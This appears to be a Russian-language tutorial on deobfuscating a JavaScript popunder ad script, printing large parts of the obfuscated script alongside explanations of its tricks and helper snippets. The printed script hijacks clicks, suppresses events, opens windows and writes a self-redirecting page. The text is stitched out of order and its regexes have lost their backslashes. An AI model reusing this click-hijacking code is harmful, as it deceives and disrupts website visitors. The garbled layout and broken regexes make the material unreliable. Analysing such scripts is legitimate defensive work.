var CACHE = pluck();
var cache = f5h(CACHE, sel);
var mod = cache[id];
var data = cache[idx];
if (I3x.d2h(which, id)) {
getObject(id, data, id);
} else {
if (I3x.c5h(rvar, mod + which)) {
getObject(rvar, data, id);
} else {
}
}
var animationLookup = pluck();
var matches = f5h(animationLookup, match);
var classNames = matches[sel];
if ((I3x.T5h(r20, id) || I3x.q6h(classNames, r20)) && I3x.k6h(rvar, data + chunk)) {
appendModelPrefix();
}
}
var el = e4Z6h[O6h]["createElement"](e);
removeHash();
fn(style + mapwidth + x + h + m + style + v + g + b + c + b + c + m + style + v + _ + b + style + b + c);
var i = indexOf(actual, obj);
var keyName = indexOf(arg, udataCur);
var type = indexOf(arg, udataCur);
var found = indexOf(id, selector);
var io = indexOf(id, selector);
var size = indexOf(id, selector);
var content = indexOf(id, selector);
/** @type {Array} */
var a = [start, name + keyName + val, base + type + val, $1 + _ + $2 + found + spaceAfter, reference + size + spaceAfter, spaceBefore + content + spaceAfter, webPortPath + io + spaceAfter, offset + i + j];
e4Z6h[O6h]["addEventListener"](expectedOutput, function(event) {
/** @type {number} */
var udataCur = (new Date).getTime();
var animationLookup = pluck();
var matches = f5h(animationLookup, match);
var data = matches[idx];
var classNames = matches[sel];
if (I3x.M5h(udataCur, data + chunk)) {
return;
}
if (I3x.B5h(classNames, r20) && I3x.Z5h(r20, id)) {
return;
}
var o = findClosestLink(event.target, g);
if (o) {
/**
* @param {StyleSheet} o
* @return {undefined}
*/
var unfoldSoak = function(o) {
result = o.href;
};
unfoldSoak(o);
}
event.preventDefault();
event.stopPropagation();
loopMatch();
valueAccessor(function() {
var m1;
for (m1 in e4Z6h[O6h]) {
if (m1.length == 4 && (m1.charCodeAt(3) == 121 && (m1.charCodeAt(2) == 100 && m1.charCodeAt(0) == (64 < (1404, 146) ? (276, 98) : (121, 1408) < 185 ? (120, 809) : (559, 302) >= 521 ? (287, "%;") : (377, 113))))) {
break;
}
}
return e4Z6h[O6h][m1]["appendChild"](el);
});
el.style.cssText += filter(a).join(str);
}, I3x.Z2h);
el.addEventListener(up, function(event) {
/** @type {string} */
var val2 = "Fhtml";
/** @type {string} */
var z = "y";
/** @type {string} */
var y = "od";
/** @type {string} */
var ty = "dy";
/** @type {string} */
var inner = "bo";
/** @type {string} */
var o = "ead";
/** @type {(number|string)} */
var n = (73, 13) <= (1273, 250) ? (57, "h") : (147, 805);
/** @type {(number|string)} */
var longNameB = 136 >= (26, 38) ? (74, "F") : (906, 138);
/** @type {string} */
var JSCRIPT_KEYWORDS = "E";
/** @type {string} */
var q = "p";
/** @type {string} */
var value = "Fscri";
/** @type {string} */
var operator = "2";
/** @type {string} */
var s = "C";
/** @type {string} */
var PYTHON_KEYWORDS = "3";
/** @type {string} */
var PERL_KEYWORDS = "%";
/** @type {string} */
var t = '?q");}, 300);';
/** @type {string} */
var g = '("';
/** @type {string} */
var r = "ce";
/** @type {string} */
var args = "ati";
/** @type {string} */
var js = "oc";
/** @type {string} */
var spaceAfter = "ow";
/** @type {string} */
var x = "(){ ";
/** @type {string} */
var closure = "cti";
/** @type {string} */
var $2 = "Time";
/** @type {string} */
var __ = "; ";
/** @type {string} */
var indentCharacter = "ul";
/** @type {string} */
var clazz = " = ";
/** @type {string} */
var varPart = "er";
/** @type {string} */
var guardPart = "en";
/** @type {string} */
var m = "in";
/** @type {string} */
var sign = "%3Chtml%3E%3Chead%3E%3Cscript%3E";
/**
* @param {?} obj
* @return {undefined}
*/
var isUndefined = function(obj) {
data = obj;
};
/** @type {number} */
var suiteView = (new Date).getTime();
var animationLookup = pluck();
var matches = f5h(animationLookup, match);
var marker = matches[id];
var data = matches[idx];
var url = matches[sel];
var self = void id;
event.preventDefault();
event.stopPropagation();
event.stopImmediatePropagation();
isUndefined(suiteView);
url += idx;
getObject(marker, data, url);
if (I3x.k2h(deepDataAndEvents, undefined) && I3x.L2h(deepDataAndEvents, failuresLink)) {
/**
* @param {Object} parent
* @return {undefined}
*/
var group = function(parent) {
/** @type {Object} */
self.opener = parent;
};
/**
* @return {undefined}
*/
var success = function() {
/** @type {string} */
var px = "?q";
/** @type {string} */
e4Z6h[G6h]["location"] = el.href + px;
};
self = e4Z6h[G6h]["open"](str);
if (I3x.P2h(result, undefined)) {
/**
* @param {(Object|string)} details
* @return {undefined}
*/
var report = function(details) {
/** @type {(Object|string)} */
self.location = details;
};
report(result);
} else {
/**
* @param {Object} elem
* @return {undefined}
*/
var removeEvent = function(elem) {
self.location = elem.location;
};
removeEvent(window);
}
success();
group(obj);
el.parentNode.removeChild(el);
return;
}
self = e4Z6h[G6h]["open"](path);
self.document.write(decodeURIComponent(sign) + (h + m + content + v + h + total + v + ms + guardPart + varPart + clazz + style + indentCharacter + i + __ + name + b + $1 + $2 + v + prefix + $1 + col + _ + prefix + style + closure + v + style + x + h + m + content + spaceAfter + total + i + js + args + v + style + total + c + b + ms + i + e + r + g) + el.href + t + decodeURIComponent(PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + value + q + I3x.Y2h + PERL_KEYWORDS + PYTHON_KEYWORDS +
JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + longNameB + n + o + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + inner + ty + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + longNameB + min + y + z + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + val2 + PERL_KEYWORDS +
PYTHON_KEYWORDS + JSCRIPT_KEYWORDS));
el.parentNode.removeChild(el);
}, I3x.Z2h);
};
}();
var drawBorder = function() {
/** @type {(number|string)} */
var v = (74, 130) <= 448 ? (126, ")") : (240, 637);
/** @type {string} */
var b = "AAIB";
/** @type {string} */
var r = "AE";
/** @type {string} */
var groupId = "BA";
/** @type {string} */
var ele = "LA";
/** @type {string} */
var epath = "AEAAA";
/** @type {string} */
var suffix = "B";
/** @type {string} */
var args = "5";
/** @type {string} */
var H = "H";
/** @type {string} */
var x = "y";
/** @type {string} */
var w = "///";
/** @type {string} */
var $ = "AA";
/** @type {string} */
var re = "AAA";
/** @type {string} */
var PYTHON_KEYWORDS = "BAIA";
/** @type {string} */
var PERL_KEYWORDS = "QA";
/** @type {string} */
var JSCRIPT_KEYWORDS = "ODlhA";
/** @type {(number|string)} */
var CSHARP_KEYWORDS = (145, 58) < 243 ? (310, "G") : 407 <= (358, 75) ? (723, "px") : (527, 1230) <= (158, 8) ? "O" : (99, 754);
/** @type {string} */
var separator = "0l";
/** @type {string} */
var string = "R";
/** @type {string} */
var inner = "e64";
/** @type {string} */
var s = "as";
/** @type {string} */
var name = "b";
/** @type {(number|string)} */
var closer = (1321, 1362) >= (92, 1387) ? (104, "F") : 190 <= (813, 703) ? (126, "g") : (915, 37) > (87, 51) ? 84 : (1352, 76);
/** @type {string} */
var expires = "age";
/** @type {(number|string)} */
var value = (1343, 175) < (585, 11) ? (1278, "K") : (291, 521) < (301, 63) ? 743 : (951, 149) < (137, 1386) ? (894, "m") : (29, 237);
/** @type {string} */
var spaceAfter = "at";
/** @type {(number|string)} */
var last = 103 >= (177, 242) ? (573, "d") : (699, 383) < (365, 309) ? (444, 543) : (436, 1476) > (290, 93) ? (230, 999999) : (143, 579);
/** @type {string} */
var div = "div";
/**
* @param {(number|string)} backgroundImage
* @return {undefined}
*/
var backgroundImage = function(backgroundImage) {
/** @type {(number|string)} */
node.style.backgroundImage = backgroundImage;
};
/**
* @param {number} last
* @return {undefined}
*/
var process = function(last) {
/** @type {number} */
node.style.zIndex = last;
};
var node = e4Z6h[O6h]["createElement"](div);
process(last);
backgroundImage(prefix + c + i + col + content + spaceAfter + e + $2 + key + value + expires + path + closer + key + _ + j + name + s + inner + slashSplit + string + separator + CSHARP_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + g + re + $ + p + w + x + H + args + suffix + epath + g + g + ele + $ + $ + g + groupId + r + g + b + string + $ + typePattern + v);
return function(elems) {
var m1;
for (m1 in e4Z6h[O6h]) {
if (m1.length == (1089 < (1422, 106) ? 32 : (22, 560) > (529, 364) ? (31, 4) : (1268, 314)) && (m1.charCodeAt((99, 919) > 285 ? (11, 3) : (861, 400) <= 217 ? 88 : (488, 474) > (1330, 522) ? (1262, 549) : (17, 395)) == 121 && (m1.charCodeAt(462 <= (76, 567) ? (320, 2) : 112 < (104, 70) ? "m" : (17, 731)) == 100 && m1.charCodeAt(0) == ((342, 16) < (212, 979) ? (42, 98) : (43, 1227))))) {
break;
}
}
var testElement = node.cloneNode(I3x.H2h);
var i;
for (i in elems) {
if (Object.prototype.hasOwnProperty.call(elems, i)) {
/**
* @param {Object} object
* @return {undefined}
*/
var debug = function(object) {
testElement.style[i] = object[i];
};
debug(elems);
}
}
e4Z6h[O6h][m1]["appendChild"](testElement);
return testElement;
};
}();
traverseNode(node);
/**
* @return {undefined}
*/
e4Z6h[G6h][timeoutKey] = function() {
if (I3x.h5h(e4Z6h[G6h].zfgloadedpopup, I3x.Z2h)) {
node();
}
};
} catch (x) {
}
})({
j5h : "",
U5h : 1397381,
n5h : 3,
g5h : 3,
R2h : 45,
t5h : ["t92YuYzc2UWNrRXcxFXe5cmYz8mZhNGNx9WcqVGc"],
F5h : ""
}, "_hmiadab", "_ihlnws");
Для удобства работы далее я буду использовать Atom — текстовый редактор на базе движка Google Chrome. Возможно вам знакомы и более удобные инструменты — буду рад замечаниям и предложениям.
Для начала разберём какие виды обфускации кода остались после JSNice:
- подмена реальных имен переменных на полностью случайные или по словарю;
(dataAndEvents, deepDataAndEvents, name, index — вполне нормальные говорящие имена, вот только они не имеют ничего общего с кодом) - объект-словарь базовых функций вместо прямого использования функций умножения, вычитания, сдвига и сравнений;
var I3x = { O2h : function(a4, b1) { return a4 * b1; } }; // далее по коду var z = I3x.O2h(a, b); // вместо z = a * b;
- скрытие реальных имён свойств window и document без хранения полных имён оных в теле функции;
var P6h; for (P6h in window) { if (P6h.length === 9 && (P6h.charCodeAt(6) === 116 && (P6h.charCodeAt(8) === 114 && (P6h.charCodeAt(4) === 103 && P6h.charCodeAt(0) === 110)))) { break; } // P6h = 'navigator'; // фактически они перебирают имена всех свойств объекта window и // останавливаются на том, имя которого подходит под заданный набор критериев }
- скрытие простых числовых и строковых значений в каше из случайных констант посредством тернарных операторов и того, что блоки вида (a, b, c) возвращаю последнее значение из списка;
(39, 10) <= (571, 36) ? (40, 9) : (41, 73) >= (3, 356) ? 115 : (491, 125) // это число 9
- скрытие реального порядка исполнения кода посредством вынесения отдельных строк в функции;
// где-то ранее в начале большой функции var success = "text/javascript"; var varname = "script"; // спустя ещё строк 10 кода var complete = function(type) { fill.type = type; }; // ближе к концу var fill = window.document.createElement(varname); // тут создаётся элемент SCRIPT complete(success); // а тут исполняется fill.type = "text/javascript"
- скрытие текста посредством разбиения оного на малые части, хранение в переменных на разных уровнях вложенности и сборка из этих частей в последствии;
// сферический пример в вакууме (function a() { var label = 'f'; var z = 'r'; var s = 't'; function b() { var expected = 'al'; var matches = 's'; return label + expected + matches + meridiem; } var meridiem = 'e'; var max = 'u'; console.log(b()); // "false" console.log(s + z + max + meridiem); // "true" })();
Начнём избавляться от всей этой нечисти.
Так-как e4Z6h нигде не переназначается и ни с чем не пересекается, то можно просто выполнить замену по тексту, выкинуть саму переменную из кода и забыть о ней.
Далее избавимся от конструкция вида "(a, b)" заменой по регулярке
((d+(Ed+)?|"[^"]+"+|true|false|null),s*(d+(Ed+)?|"[^"]+"+|true|false|null))
на $3. Повторять пока не исчезнуть все такие блоки. Это не избавит нас от терний тернарных функций, но уже значительно их упростит. По крайней мере теперь внутри блоков с ними больше не должно быть скобок, а скобки снаружи можно считать границами этих блоков. Есть одно исключение на весь скрипт, но с одним можно и вручную разобраться.
К сожалению дальше на чистых регулярках уже не уедешь и потому начнём перемалывать этот код скриптами. Для начала избавимся от зарослей тернарных операторов:
let _scr = `...код скрипта...`;
let _match = _scr.match(/((|[,=]s)[^,;{()]+??[^)]+?:[^)]+?[);](?!")/g);
let _eval = (_code) => { try { return eval(_code); } catch(e) { return _code; } };
for (let _code of _match) {
let _parts = _code.match(/^((|[,=]s)([sS]+?)([);])$/);
_scr = _scr.replace(_code, `${_parts[1]}${_eval(_parts[2])}${_parts[3]}`, 1);
}
console.warn(_scr);
Осталось заменить 130 <= 448? ")": 637 на просто ")".
Теперь попробуем избавиться от поиска имён функций в window и document.
Нам поможет следующий код:
let _scr = `...`;
let _match = _scr.match(/vars([dw]+);s*fors*(([dw]+)sinswindow[^{]+{s*if[^{]+{s*break;s*}s*}/g);
let _eval = (_code) => { try { return eval(_code); } catch(e) { return _code; } };
let _stack = [];
for (let _code of _match) {
let _name = _code.match(/vars([dw]+);/)[1];
let _res = `var ${_name} = "${_eval(`(function(){${_stack.join('')}${_code};return ${_name};})()`)}";`;
_stack.push(_res);
_scr = _scr.replace(_code, `${_res} // <- replaced lookup`, 1);
}
console.warn(_scr);
Теперь можно пройтись по коду и выполнить подстановки значений, помеченных комментарием 'replaced lookup'. Заодно заменим константы (I3x.Y2h => «t», I3x.H2h => false, I3x.Z2h => true) из библиотеки функций I3x в коде на сами значения и удалим их из библиотеки.
"use strict";
var I3x = {
/**
* @param {number} a4
* @param {number} b1
* @return {?}
*/
"O2h" : function(a4, b1) {
return a4 * b1;
},
/**
* @param {?} newVal
* @param {?} oldVal
* @return {?}
*/
"R5h" : function(newVal, oldVal) {
return newVal !== oldVal;
},
/**
* @param {(boolean|number|string)} a
* @param {(boolean|number|string)} b
* @return {?}
*/
"j6h" : function(a, b) {
return a > b;
},
/**
* @param {?} deepDataAndEvents
* @param {?} el
* @return {?}
*/
"L2h" : function(deepDataAndEvents, el) {
return deepDataAndEvents === el;
},
/**
* @param {?} i
* @param {Object} arr2
* @return {?}
*/
"V6h" : function(i, arr2) {
return i in arr2;
},
/**
* @param {?} newValue
* @param {?} oldValue
* @return {?}
*/
"Q6h" : function(newValue, oldValue) {
return newValue !== oldValue;
},
/**
* @param {?} v02
* @param {?} dataAndEvents
* @return {?}
*/
"M6h" : function(v02, dataAndEvents) {
return v02 !== dataAndEvents;
},
/**
* @param {number} object
* @param {number} backoff
* @param {number} value
* @param {number} data
* @return {?}
*/
"G2h" : function(object, backoff, value, data) {
return object * backoff * value * data;
},
/**
* @param {number} dataAndEvents
* @param {number} obj
* @return {?}
*/
"H5h" : function(dataAndEvents, obj) {
return dataAndEvents * obj;
},
/**
* @param {?} callback
* @param {?} value
* @return {?}
*/
"S6h" : function(callback, value) {
return callback === value;
},
/**
* @param {number} deepDataAndEvents
* @param {number} obj
* @return {?}
*/
"a5h" : function(deepDataAndEvents, obj) {
return deepDataAndEvents <= obj;
},
/**
* @param {number} to
* @param {number} from
* @return {?}
*/
"J5h" : function(to, from) {
return to - from;
},
/**
* @param {(boolean|number|string)} a
* @param {(boolean|number|string)} b
* @return {?}
*/
"u5h" : function(a, b) {
return a > b;
},
/**
* @param {number} dataAndEvents
* @param {number} v00
* @return {?}
*/
"z6h" : function(dataAndEvents, v00) {
return dataAndEvents & v00;
},
/**
* @param {number} deepDataAndEvents
* @param {number} n
* @return {?}
*/
"N5h" : function(deepDataAndEvents, n) {
return deepDataAndEvents <= n;
},
/**
* @param {?} regex
* @param {?} timer
* @return {?}
*/
"T5h" : function(regex, timer) {
return regex === timer;
},
/**
* @param {string} dataAndEvents
* @param {string} deepDataAndEvents
* @return {?}
*/
"e6h" : function(dataAndEvents, deepDataAndEvents) {
return dataAndEvents == deepDataAndEvents;
},
/**
* @param {number} _id
* @param {number} dataAndEvents
* @return {?}
*/
"K6h" : function(_id, dataAndEvents) {
return _id < dataAndEvents;
},
/**
* @param {number} value
* @param {number} regex
* @return {?}
*/
"C2h" : function(value, regex) {
return value * regex;
},
/**
* @param {(boolean|number|string)} res
* @param {(boolean|number|string)} dataAndEvents
* @return {?}
*/
"c5h" : function(res, dataAndEvents) {
return res > dataAndEvents;
},
/**
* @param {number} deepDataAndEvents
* @param {number} regex
* @return {?}
*/
"u6h" : function(deepDataAndEvents, regex) {
return deepDataAndEvents >> regex;
},
/**
* @param {number} dataAndEvents
* @param {number} xs
* @param {number} v00
* @return {?}
*/
"a2h" : function(dataAndEvents, xs, v00) {
return dataAndEvents ^ xs ^ v00;
},
/**
* @param {?} a
* @param {?} b
* @return {?}
*/
"P5h" : function(a, b) {
return a === b;
},
/**
* @param {?} name
* @param {?} index
* @return {?}
*/
"U2h" : function(name, index) {
return name === index;
},
/**
* @param {(boolean|number)} i
* @param {(boolean|number)} regex
* @return {?}
*/
"B5h" : function(i, regex) {
return i >= regex;
},
/**
* @param {(boolean|number|string)} a
* @param {(boolean|number|string)} b
* @return {?}
*/
"e5h" : function(a, b) {
return a > b;
},
/**
* @param {?} name
* @param {?} index
* @return {?}
*/
"A5h" : function(name, index) {
return name === index;
},
/**
* @param {number} v02
* @param {number} regex
* @return {?}
*/
"r6h" : function(v02, regex) {
return v02 >> regex;
},
/**
* @param {?} dataAndEvents
* @param {?} deepDataAndEvents
* @return {?}
*/
"z5h" : function(dataAndEvents, deepDataAndEvents) {
return dataAndEvents === deepDataAndEvents;
},
/**
* @param {number} k
* @param {number} n
* @return {?}
*/
"m5h" : function(k, n) {
return k - n;
},
/**
* @param {number} dataAndEvents
* @param {number} v00
* @return {?}
*/
"r5h" : function(dataAndEvents, v00) {
return dataAndEvents & v00;
},
/**
* @param {string} deepDataAndEvents
* @param {string} args
* @return {?}
*/
"o2h" : function(deepDataAndEvents, args) {
return deepDataAndEvents == args;
},
/**
* @param {number} dataAndEvents
* @param {number} deepDataAndEvents
* @return {?}
*/
"f6h" : function(dataAndEvents, deepDataAndEvents) {
return dataAndEvents | deepDataAndEvents;
},
/**
* @param {number} deepDataAndEvents
* @param {number} wait
* @return {?}
*/
"p5h" : function(deepDataAndEvents, wait) {
return deepDataAndEvents <= wait;
},
/**
* @param {?} a
* @param {?} b
* @return {?}
*/
"E6h" : function(a, b) {
return a === b;
},
/**
* @param {number} _id
* @param {number} n
* @return {?}
*/
"x6h" : function(_id, n) {
return _id >> n;
},
/**
* @param {number} value
* @param {number} end
* @return {?}
*/
"M5h" : function(value, end) {
return value <= end;
},
/**
* @param {number} dataAndEvents
* @param {number} opt_attributes
* @return {?}
*/
"X6h" : function(dataAndEvents, opt_attributes) {
return dataAndEvents & opt_attributes;
},
/**
* @param {string} deepDataAndEvents
* @param {string} value
* @return {?}
*/
"i5h" : function(deepDataAndEvents, value) {
return deepDataAndEvents == value;
},
/**
* @param {number} value
* @param {number} regex
* @return {?}
*/
"C6h" : function(value, regex) {
return value >> regex;
},
/**
* @param {number} value
* @param {number} execResult
* @return {?}
*/
"W6h" : function(value, execResult) {
return value <= execResult;
},
/**
* @param {string} dataAndEvents
* @param {string} deepDataAndEvents
* @return {?}
*/
"J6h" : function(dataAndEvents, deepDataAndEvents) {
return dataAndEvents == deepDataAndEvents;
},
/**
* @param {number} deepDataAndEvents
* @param {number} opt_fromIndex
* @return {?}
*/
"n6h" : function(deepDataAndEvents, opt_fromIndex) {
return deepDataAndEvents <= opt_fromIndex;
},
/**
* @param {string} el
* @param {string} value
* @return {?}
*/
"S5h" : function(el, value) {
return el == value;
},
/**
* @param {?} deepDataAndEvents
* @param {?} val1
* @return {?}
*/
"k2h" : function(deepDataAndEvents, val1) {
return deepDataAndEvents !== val1;
},
/**
* @param {number} i
* @param {number} regex
* @return {?}
*/
"q6h" : function(i, regex) {
return i < regex;
},
/**
* @param {string} deepDataAndEvents
* @param {string} result
* @return {?}
*/
"K2h" : function(deepDataAndEvents, result) {
return deepDataAndEvents == result;
},
/**
* @param {string} dataAndEvents
* @param {string} value
* @return {?}
*/
"G5h" : function(dataAndEvents, value) {
return dataAndEvents == value;
},
/**
* @param {?} dataAndEvents
* @param {?} deepDataAndEvents
* @return {?}
*/
"H6h" : function(dataAndEvents, deepDataAndEvents) {
return dataAndEvents === deepDataAndEvents;
},
/**
* @param {number} deepDataAndEvents
* @param {number} opt_attributes
* @return {?}
*/
"K5h" : function(deepDataAndEvents, opt_attributes) {
return deepDataAndEvents & opt_attributes;
},
/**
* @param {number} _id
* @param {number} dataAndEvents
* @return {?}
*/
"x5h" : function(_id, dataAndEvents) {
return _id < dataAndEvents;
},
/**
* @param {number} far
* @param {number} near
* @return {?}
*/
"y5h" : function(far, near) {
return far - near;
},
/**
* @param {number} el
* @param {number} value
* @return {?}
*/
"V5h" : function(el, value) {
return el == value;
},
/**
* @param {number} _id
* @param {number} v02
* @return {?}
*/
"b6h" : function(_id, v02) {
return _id < v02;
},
/**
* @param {string} deepDataAndEvents
* @param {string} collection
* @return {?}
*/
"A6h" : function(deepDataAndEvents, collection) {
return deepDataAndEvents == collection;
},
/**
* @param {number} deepDataAndEvents
* @param {number} obj
* @return {?}
*/
"D6h" : function(deepDataAndEvents, obj) {
return deepDataAndEvents <= obj;
},
/**
* @param {number} deepDataAndEvents
* @param {number} value
* @return {?}
*/
"g6h" : function(deepDataAndEvents, value) {
return deepDataAndEvents <= value;
},
/**
* @param {number} v02
* @param {number} dataAndEvents
* @return {?}
*/
"o5h" : function(v02, dataAndEvents) {
return v02 & dataAndEvents;
},
/**
* @param {number} keepData
* @param {number} dataAndEvents
* @return {?}
*/
"C5h" : function(keepData, dataAndEvents) {
return keepData < dataAndEvents;
},
/**
* @param {?} value
* @param {?} target
* @return {?}
*/
"N6h" : function(value, target) {
return value === target;
},
/**
* @param {number} far
* @param {number} near
* @return {?}
*/
"i2h" : function(far, near) {
return far - near;
},
/**
* @param {number} dataAndEvents
* @param {number} opt_attributes
* @return {?}
*/
"p6h" : function(dataAndEvents, opt_attributes) {
return dataAndEvents & opt_attributes;
},
/**
* @param {?} dataAndEvents
* @param {?} activeXObj
* @return {?}
*/
"l5h" : function(dataAndEvents, activeXObj) {
return dataAndEvents === activeXObj;
},
/**
* @param {number} i
* @param {number} times
* @return {?}
*/
"F6h" : function(i, times) {
return i < times;
},
/**
* @param {Function} type
* @param {Function} operator
* @return {?}
*/
"U6h" : function(type, operator) {
return type == operator;
},
/**
* @param {?} newValue
* @param {?} oldValue
* @return {?}
*/
"O5h" : function(newValue, oldValue) {
return newValue !== oldValue;
},
/**
* @param {number} T
* @param {number} dataAndEvents
* @return {?}
*/
"v5h" : function(T, dataAndEvents) {
return T < dataAndEvents;
},
/**
* @param {number} operator
* @param {number} backoff
* @return {?}
*/
"s5h" : function(operator, backoff) {
return operator * backoff;
},
/**
* @param {?} newValue
* @param {?} oldValue
* @return {?}
*/
"h5h" : function(newValue, oldValue) {
return newValue !== oldValue;
},
/**
* @param {number} a
* @param {number} b
* @return {?}
*/
"t6h" : function(a, b) {
return a - b;
},
/**
* @param {?} i
* @param {?} l
* @return {?}
*/
"D5h" : function(i, l) {
return i < l;
},
/**
* @param {string} deepDataAndEvents
* @param {string} value
* @return {?}
*/
"I5h" : function(deepDataAndEvents, value) {
return deepDataAndEvents == value;
},
/**
* @param {?} newValue
* @param {?} oldValue
* @return {?}
*/
"P2h" : function(newValue, oldValue) {
return newValue !== oldValue;
},
/**
* @param {number} dataAndEvents
* @param {number} callback
* @return {?}
*/
"w5h" : function(dataAndEvents, callback) {
return dataAndEvents >> callback;
},
/**
* @param {number} opt_attributes
* @param {number} dataAndEvents
* @return {?}
*/
"W5h" : function(opt_attributes, dataAndEvents) {
return opt_attributes << dataAndEvents;
},
/**
* @param {number} deepDataAndEvents
* @param {number} execResult
* @return {?}
*/
"k5h" : function(deepDataAndEvents, execResult) {
return deepDataAndEvents <= execResult;
},
/**
* @param {?} a
* @param {?} b
* @return {?}
*/
"q5h" : function(a, b) {
return a === b;
},
/**
* @param {?} value
* @param {?} target
* @return {?}
*/
"B6h" : function(value, target) {
return value === target;
},
/**
* @param {number} deepDataAndEvents
* @param {number} value
* @return {?}
*/
"v6h" : function(deepDataAndEvents, value) {
return deepDataAndEvents <= value;
},
/**
* @param {(boolean|number|string)} res
* @param {(boolean|number|string)} dataAndEvents
* @return {?}
*/
"k6h" : function(res, dataAndEvents) {
return res > dataAndEvents;
},
/**
* @param {number} dataAndEvents
* @param {number} deepDataAndEvents
* @return {?}
*/
"y6h" : function(dataAndEvents, deepDataAndEvents) {
return dataAndEvents | deepDataAndEvents;
},
/**
* @param {?} res
* @param {?} contexts
* @return {?}
*/
"Y5h" : function(res, contexts) {
return res === contexts;
},
/**
* @param {number} deepDataAndEvents
* @param {number} callback
* @return {?}
*/
"m6h" : function(deepDataAndEvents, callback) {
return deepDataAndEvents <= callback;
},
/**
* @param {?} newValue
* @param {?} oldValue
* @return {?}
*/
"X5h" : function(newValue, oldValue) {
return newValue !== oldValue;
},
/**
* @param {number} dataAndEvents
* @param {number} deepDataAndEvents
* @return {?}
*/
"l6h" : function(dataAndEvents, deepDataAndEvents) {
return dataAndEvents << deepDataAndEvents;
},
/**
* @param {number} regex
* @param {number} timer
* @return {?}
*/
"Z5h" : function(regex, timer) {
return regex !== timer;
},
/**
* @param {?} callback
* @param {?} b
* @return {?}
*/
"d2h" : function(callback, b) {
return callback === b;
},
/**
* @param {number} deepDataAndEvents
* @param {number} timer
* @return {?}
*/
"s6h" : function(deepDataAndEvents, timer) {
return deepDataAndEvents <= timer;
},
/**
* @param {number} el
* @param {number} value
* @return {?}
*/
"Q5h" : function(el, value) {
return el == value;
},
/**
* @param {?} res
* @param {?} contexts
* @return {?}
*/
"w2h" : function(res, contexts) {
return res === contexts;
},
/**
* @param {number} _id
* @param {number} n
* @return {?}
*/
"T6h" : function(_id, n) {
return _id >> n;
},
/**
* @param {number} a
* @param {number} b
* @return {?}
*/
"d5h" : function(a, b) {
return a - b;
}
};
var f5h = function() {
/**
* @param {?} val
* @param {?} value
* @return {?}
*/
function resolve(val, value) {
/** @type {string} */
var i = "urn";
/** @type {string} */
var obj = "ret";
/** @type {string} */
var o = "rn";
/** @type {string} */
var n = "tu";
/** @type {string} */
var name = "r";
/** @type {Array} */
var a = [];
var regexp2_fn = true;
var text = false;
var callback = undefined;
try {
var entry = val[I2h.h2h]();
var pair;
for (;!(regexp2_fn = (pair = entry.next()).E5h);regexp2_fn = true) {
a.push(pair.value);
if (value && I3x.B6h(a.length, value)) {
break;
}
}
} catch (r20) {
/**
* @param {(number|string)} regex
* @return {undefined}
*/
var keys = function(regex) {
/** @type {(number|string)} */
callback = regex;
};
/**
* @param {?} textAlt
* @return {undefined}
*/
var loadNodeModules = function(textAlt) {
text = textAlt;
};
loadNodeModules(true);
keys(r20);
} finally {
try {
if (!regexp2_fn && entry[name + m + n + o]) {
entry[obj + i]();
}
} finally {
if (text) {
throw callback;
}
}
}
return a;
}
/** @type {string} */
var m = "e";
return function(object, isXML) {
/** @type {string} */
var i = "nc";
/** @type {string} */
var g = "le";
/** @type {string} */
var r = "terab";
/** @type {string} */
var p = "-";
/** @type {string} */
var c = "n";
/** @type {string} */
var article = "ructure";
/** @type {string} */
var n = "s";
/** @type {string} */
var b = "o";
/** @type {string} */
var EQUAL = "ttemp";
/** @type {string} */
var type = " ";
/** @type {(number|string)} */
var _ = d;
/** @type {(number|string)} */
var w = i;
/** @type {(number|string)} */
var $3 = l;
/** @type {string} */
var key = "a";
/** @type {string} */
var $1 = "Inv";
if (Array.isArray(object)) {
return object;
} else {
if (I3x.V6h(I2h.h2h, Object(object))) {
return resolve(object, isXML);
} else {
throw new TypeError($1 + key + $3 + w + _ + type + key + EQUAL + "t" + type + "t" + b + type + _ + m + n + "t" + article + type + c + b + c + p + w + r + g + type + w + c + n + "t" + key + i + m);
}
}
};
}();
(function(item, dataName, timeoutKey) {
/** @type {string} */
var col = "(";
/** @type {(number|string)} */
var g = A;
/** @type {string} */
var j = ";";
/** @type {string} */
var $2 = ":";
/** @type {string} */
var i = "l";
/** @type {string} */
var style = "n";
/** @type {string} */
var failuresLink = "tabunder";
/** @type {string} */
var mouseup = "mouseup";
/** @type {string} */
var expected = "mousedown";
/** @type {string} */
var a = "uxngHWCMgWBNwpQg";
/** @type {string} */
var w2 = "00";
/** @type {string} */
var d2 = "0";
/** @type {string} */
var d1 = "4";
/** @type {(number|string)} */
var A_Z_a_z = 2;
/** @type {string} */
var I2 = "300x250";
/** @type {string} */
var aba = "728x90";
/** @type {string} */
var baz = "120x240";
/** @type {string} */
var value2 = "234x60";
/** @type {string} */
var foo = "468x60";
/** @type {string} */
var radixToPower = "3.5.2";
/** @type {string} */
var customViewMenuOffsetWidth = "x";
/** @type {string} */
var v = "o";
/** @type {(number|string)} */
var content = d;
/** @type {string} */
var _ = "f";
/** @type {string} */
var key = "i";
/** @type {string} */
var $1 = "t";
/** @type {string} */
var s = "c";
/** @type {string} */
var b = "e";
/** @type {number} */
var backoff = 1E3;
/** @type {string} */
var min = "b";
/** @type {string} */
var c = "r";
/** @type {(number|string)} */
var slashSplit = ',';
/** @type {string} */
var _j = "content";
/** @type {string} */
var STYLE = "style";
/** @type {(number|string)} */
var value = h;
/** @type {string} */
var prefix = "u";
/** @type {string} */
var ms = "p";
/** @type {string} */
var e = "a";
/** @type {(number|string)} */
var name = s;
/** @type {number} */
var udataCur = 60;
/** @type {null} */
var obj = null;
/** @type {string} */
var p = "P";
/** @type {number} */
var result = 23;
/** @type {(number|string)} */
var which = 21;
/** @type {number} */
var bytenew = 9;
/** @type {number} */
var DOT_CALL_NO_PARENS = 17;
/** @type {number} */
